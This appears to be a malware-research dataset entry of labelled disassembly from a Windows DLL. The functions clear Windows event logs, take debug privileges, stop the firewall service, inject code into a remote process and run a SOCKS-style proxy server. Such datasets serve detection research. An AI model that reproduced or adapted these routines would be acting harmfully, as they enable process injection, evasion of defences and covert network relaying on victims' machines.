joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10007680
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x204
push ebp
push esi
push edi
push 0x1f4
lea eax, [esp + 0x20]
push str.SYSTEMCurrentControlSetServices_
push eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.MSVCRT.dll_strncpy]
mov edi, dword [esp + 0x220]
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x1c]
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0xc]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x20]
push ecx
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea edx, [esp + 0x14]
lea eax, [esp + 0x10]
push edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push eax
push ecx
push 0
push str.Type
push edx
mov dword [esp + 0x2c], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, eax
mov eax, dword [esp + 0xc]
push eax
call edi
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov ecx, dword [esp + 0xc]
push ecx
call edi
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
add esp, 0x204
ret

Function at 0x10008080
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x54
push esi
push edi
mov edi, dword [esp + 0x60]
push 0x2f
push edi
call dword [sym.imp.MSVCRT.dll_strrchr]
mov esi, eax
add esp, 8
inc esi
jne 0x100080a2
pop edi
xor al, al
pop esi
add esp, 0x54
ret
push esi
push edi
call fcn.100130c0
add esp, 8
test al, al
jne 0x100080b6
pop edi
pop esi
add esp, 0x54
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
push str.mians_Update
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
neg eax
sbb eax, eax
pop edi
neg eax
pop esi
add esp, 0x54
ret
Function at 0x10008110
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x160
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.RegQueryValueA
push str.ADVAPI32.dll
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov edi, dword [esp + 0x174]
mov ebp, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x10008241
mov ecx, 0x41
lea edi, [esp + 0x6c]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x14], 0x104
push eax
push 0xf003f
push 0
push str.Applicationsiexplore.exe_shellopencommand
push accept
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10008241
lea ecx, [esp + 0x14]
lea edx, [esp + 0x6c]
push ecx
push edx
push eax
mov eax, dword [esp + 0x1c]
push eax
call ebp
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.lstrlenA
push str.KERNEL32.dll
call esi
push eax
call ebx
lea edx, [esp + 0x6c]
push edx
call eax
test eax, eax
je 0x10008241
lea eax, [esp + 0x6c]
push 0x1001f500
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
mov edi, eax
add esp, 8
test edi, edi
je 0x10008241
push str.lstrcpyA
push str.KERNEL32.dll
call esi
push eax
call ebx
mov ecx, dword [esp + 0x174]
push ecx
push edi
call eax
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x2c]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x178]
mov dword [esp + 0x28], 0x44
test eax, eax
je 0x1000821b
mov dword [esp + 0x30], str.WinSta0Default
lea edx, [esp + 0x18]
lea eax, [esp + 0x28]
push edx
push eax
push 0
push 0
push 0
push 0
push 0
lea ecx, [esp + 0x88]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x160
ret

Function at 0x10008250
Capabilities:
Access the windows event log
Clear windows event logs

Disassembly:
sub esp, 0x10
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_OpenEventLogA]
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_ClearEventLogA]
push esi
push edi
mov dword [esp + 0x14], str.Application
mov dword [esp + 0x18], str.Security
mov dword [esp + 0x1c], str.System
lea edi, [esp + 0x14]
mov dword [esp + 0x10], 3
mov eax, dword [edi]
push eax
push 0
call ebx
mov esi, eax
test esi, esi
je 0x100082a0
push 0
push esi
call ebp
push esi
call dword [sym.imp.ADVAPI32.dll_CloseEventLog]
mov eax, dword [esp + 0x10]
add edi, 4
dec eax
mov dword [esp + 0x10], eax
jne 0x10008287
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x10008570
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x14
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetCurrentProcess
push str.KERNEL32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
lea ecx, [esp + 8]
push ecx
push 0x20
call eax
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10008603
push ebx
push str.AdjustTokenPrivileges
push str.ADVAPI32.dll
call esi
push eax
call edi
lea edx, [esp + 0x14]
mov ebx, eax
push edx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov ecx, dword [esp + 0xc]
push 0
push 0
lea eax, [esp + 0x18]
push 0x10
push eax
push 0
push ecx
mov dword [esp + 0x28], 1
mov dword [esp + 0x34], 2
call ebx
push str.GetLastError
push str.KERNEL32.dll
call esi
push eax
call edi
call eax
neg eax
sbb eax, eax
pop ebx
inc eax
pop edi
pop esi
add esp, 0x14
ret

Function at 0x10008610
Capabilities:
Query service status

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.OpenServiceA
push str.ADVAPI32.dll
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.ControlService
push str.ADVAPI32.dll
mov esi, eax
call edi
push eax
call ebx
mov dword [esp + 0x10], eax
call fcn.10008570
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
push 0xf01ff
push str.sharedaccess
push ebp
call esi
mov esi, eax
lea eax, [esp + 0x14]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [esp + 0x18], 1
je 0x1000868b
lea ecx, [esp + 0x14]
push ecx
push 1
push esi
call dword [esp + 0x1c]
push str.CloseServiceHandle
push str.ADVAPI32.dll
call edi
push eax
call ebx
mov edi, eax
push esi
call edi
push ebp
call edi
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x20
ret

Function at 0x10008b30
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x10008b51
xor al, al
add esp, 0x1c
ret
lea ecx, [esp + 4]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
jne 0x10008b78
mov edx, dword [esp]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0x1c
ret
push str.AdjustTokenPrivileges
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [esp + 4]
mov edx, dword [esp + 8]
mov dword [esp + 0x10], ecx
push 0
push 0
lea ecx, [esp + 0x14]
mov dword [esp + 0x1c], edx
mov edx, dword [esp + 8]
push 0x10
push ecx
push 0
push edx
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], 2
call eax
test eax, eax
jne 0x10008bd8
mov eax, dword [esp]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
add esp, 0x1c
ret
mov ecx, dword [esp]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
add esp, 0x1c
ret
Function at 0x10008ca0
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Link many functions at runtime
Spawn thread to rwx shellcode

Disassembly:
sub esp, 0xf8
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
push str.OpenProcess
push str.KERNEL32.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov edi, eax
call fcn.10008b30
mov eax, dword [esp + 0x10c]
push eax
call fcn.10012a30
add esp, 4
push eax
push 0
push 0x1f0fff
call edi
mov ebp, eax
test ebp, ebp
jne 0x10008cf9
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
mov ecx, 0x3d
xor eax, eax
lea edi, [esp + 0x14]
push str.advapi32.dll
rep stosd dword es:[edi], eax
call ebx
mov edi, eax
push str.OpenSCManagerA
push edi
call esi
push str.OpenServiceA
push edi
mov dword [esp + 0x1c], eax
call esi
push str.QueryServiceStatus
push edi
mov dword [esp + 0x20], eax
call esi
push str.ControlService
push edi
mov dword [esp + 0x24], eax
call esi
push str.StartServiceA
push edi
mov dword [esp + 0x28], eax
call esi
push str.DeleteService
push edi
mov dword [esp + 0x2c], eax
call esi
push str.CloseServiceHandle
push edi
mov dword [esp + 0x30], eax
call esi
push edi
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.shlwapi.dll
call ebx
mov edi, eax
push str.SHDeleteKeyA
push edi
call esi
push edi
mov dword [esp + 0x34], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.kernel32.dll
call ebx
push 1
push 0x53
push str.leep
mov edi, eax
call dword [sym.imp.MSVCRT.dll__strnset]
add esp, 0xc
push eax
push edi
call esi
push str.CloseHandle
push edi
mov dword [esp + 0x40], eax
call esi
push edi
mov dword [esp + 0x38], eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.lstrcpyA
push str.KERNEL32.dll
call ebx
push eax
call esi
mov ecx, dword [esp + 0x110]
lea edx, [esp + 0x40]
push ecx
mov edi, eax
push edx
call edi
lea eax, [esp + 0xa4]
push str.SYSTEMCurrentControlSetServices_
push eax
call edi
lea ecx, [esp + 0x40]
push ecx
lea edx, [esp + 0xa8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push str.VirtualAllocEx
push str.KERNEL32.dll
call ebx
push eax
call esi
push 4
push 0x1000
push 0xf4
push 0
push ebp
mov dword [esp + 0x24], eax
call eax
mov edi, eax
test edi, edi
jne 0x10008e35
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push str.WriteProcessMemory
push str.KERNEL32.dll
call ebx
push eax
call esi
mov ebx, eax
push 0
lea eax, [esp + 0x18]
push 0xf4
push eax
push edi
push ebp
call ebx
test eax, eax
jne 0x10008e67
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0x40
push 0x1000
push 0x2800
push 0
push ebp
call dword [esp + 0x24]
mov esi, eax
test esi, esi
jne 0x10008e8d
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0x2800
push 0x10008bf0
push esi
push ebp
call ebx
test eax, eax
jne 0x10008eae
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0xf8
ret
push 0
push 0
push edi
push esi
push 0
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
pop edi
pop esi
test eax, eax
pop ebp
pop ebx
setne al
add esp, 0xf8
ret
Function at 0x10009110
Capabilities:
Send data
Send data on socket
Send http request

Disassembly:
sub esp, 0x10c
push ebx
push ebp
push esi
push edi
push str.EnterCriticalSection
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, eax
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
xor esi, esi
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x100218b8
mov dword [esp + 0x14], esi
stosb byte es:[edi], al
call edx
mov ecx, dword [0x10021bd4]
push 0x100218b8
inc ecx
mov dword [0x10021bd4], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edi, dword [esp + 0x128]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.10008f60
add esp, 8
cmp eax, esi
je 0x100092d9
mov ebp, dword [esp + 0x120]
cmp eax, 1
je 0x1000920c
cmp eax, 2
je 0x1000920c
cmp eax, 3
je 0x1000920c
cmp eax, 4
jne 0x10009285
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x130]
lea edx, [esp + 0x20]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.10008ed0
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
push edx
lea ecx, [ebp + 4]
push eax
push ecx
call fcn.100097d0
add esp, 0x1c
test eax, eax
je 0x100092d9
mov edi, str.HTTP_1.0_200_OK_r_n_r_n
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [ebp]
repne scasb al, byte es:[edi]
not ecx
push esi
push ecx
push str.HTTP_1.0_200_OK_r_n_r_n
push edx
call dword [sym.imp.WS2_32.dll_send]
jmp 0x10009285
mov eax, dword [esp + 0x14]
mov esi, dword [esp + 0x12c]
mov ecx, dword [esp + 0x124]
push eax
push esi
push edi
push ecx
call fcn.10009000
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x100092d9
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
mov eax, dword [esp + 0x1c]
sub esi, eax
sub esi, 7
lea ecx, [eax + edi + 7]
push esi
push ecx
call fcn.10008ed0
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x2c]
lea esi, [ebp + 4]
push edx
push eax
push esi
call fcn.100097d0
add esp, 0x1c
test eax, eax
je 0x100092d9
mov ecx, dword [esp + 0x124]
mov edx, dword [esi]
push 0
push ebx
push ecx
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x100092d9
cmp dword [ebp], 0
je 0x100092d9
mov eax, dword [ebp + 4]
test eax, eax
je 0x100092d9
push str.CreateThread
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x18]
push ecx
push 0
push ebp
push 0x1000a300
push 0
push 0
call eax
test eax, eax
je 0x100092c9
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x10c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10c
ret
Function at 0x100092f0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
push ebp
mov ebp, dword [esp + 0x210]
push esi
push edi
mov al, byte [ebp]
mov byte [esp + 0xe], 5
cmp al, 5
mov byte [esp + 0xf], 0
je 0x10009320
pop edi
pop esi
and eax, 0xff
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 2]
lea esi, [ebp + 2]
test al, al
je 0x1000933a
cmp al, 2
je 0x1000933a
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov edi, 0x100218d4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [esp + 0x12]
and ecx, 2
push 2
mov byte [esp + 0x17], cl
mov ecx, dword [esp + 0x21c]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x1000937d
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
cmp byte [esp + 0xf], 2
jne 0x100094d3
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x10]
push eax
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x114]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x218]
push 0x5000
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x100094c7
test eax, eax
je 0x100094c7
cmp byte [ebp], 1
je 0x100093dd
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
mov al, byte [ebp + 1]
test al, al
je 0x10009406
mov ecx, eax
and ecx, 0xff
cmp ecx, 0x100
jg 0x10009406
mov edx, ecx
lea edi, [esp + 0x10]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
and eax, 0xff
add eax, ebp
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x10009435
cmp ecx, 0x100
jg 0x10009435
lea esi, [eax + 3]
mov eax, ecx
lea edi, [esp + 0x110]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [esp + 0x10]
mov eax, 0x100218d4
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x10009462
test cl, cl
je 0x1000945e
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x10009462
add eax, 2
add esi, 2
test cl, cl
jne 0x1000943e
xor eax, eax
jmp 0x10009467
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100094a9
lea esi, [esp + 0x110]
mov eax, 0x100219d4
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x1000949b
test cl, cl
je 0x10009497
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x1000949b
add eax, 2
add esi, 2
test cl, cl
jne 0x10009477
xor eax, eax
jmp 0x100094a0
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100094a9
mov byte [ebp + 1], al
jmp 0x100094ad
mov byte [ebp + 1], 0xff
mov eax, dword [esp + 0x214]
push 0
push 2
push ebp
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x100094d3
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x204
ret
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x204
ret
Function at 0x100094f0
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x100218a8
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x100095a4
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x100095ac
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x1000959a
test edx, edx
jle 0x10009564
mov edi, 0x1001f558
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x10009536
add dword [esp + 0x10], 4
jmp 0x1000951a
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x100095c0
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x100095d0
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x100097d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x10009827
call fcn.100095c0
add esp, 4
test eax, eax
je 0x10009882
push esi
call fcn.100095c0
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x10009882
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000988a
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x100098a0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.100092f0
add esp, 0xc
test eax, eax
je 0x10009947
cmp eax, 4
jne 0x100098e8
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.100095e0
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x5000
push esi
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x10009947
test eax, eax
je 0x10009947
cmp byte [esi], 5
jne 0x10009947
mov cl, byte [esi + 3]
cmp cl, 1
je 0x10009914
cmp cl, 3
jne 0x10009947
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.100095e0
add esp, 0x14
test eax, eax
je 0x10009947
mov al, byte [esi + 1]
cmp al, 1
je 0x1000993e
cmp al, 3
jne 0x10009947
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x10009950
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000999e
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x100099bb
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.100094f0
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x10009d50
Capabilities:
Create tcp socket
Initialize winsock library
Start tcp server

Disassembly:
sub esp, 0x1a8
lea eax, [esp + 0x18]
push esi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x10009e60
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x14], esi
je 0x10009e60
mov dx, word [0x100218b0]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push esi
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x10009e60
push ebx
push ebp
push edi
push 0x32
push esi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x10009df4
pop edi
pop ebp
pop ebx
xor eax, eax
pop esi
add esp, 0x1a8
ret
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esp + 0x20]
push 0
push 0
push ecx
call dword [sym.imp.WS2_32.dll_accept]
push 8
mov edi, eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
je 0x10009e00
push str.CreateThread
push str.KERNEL32.dll
call ebp
push eax
call ebx
lea edx, [esp + 0x24]
mov dword [esi], edi
push edx
push 0
push esi
push 0x10009a10
push 0
push 0
call eax
test eax, eax
jne 0x10009e57
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10009e00
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10009e00
xor eax, eax
pop esi
add esp, 0x1a8
ret

Function at 0x1000a050
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x1000a08b
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x1000a092
sub esi, eax
add edi, eax
test esi, esi
jg 0x1000a066
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret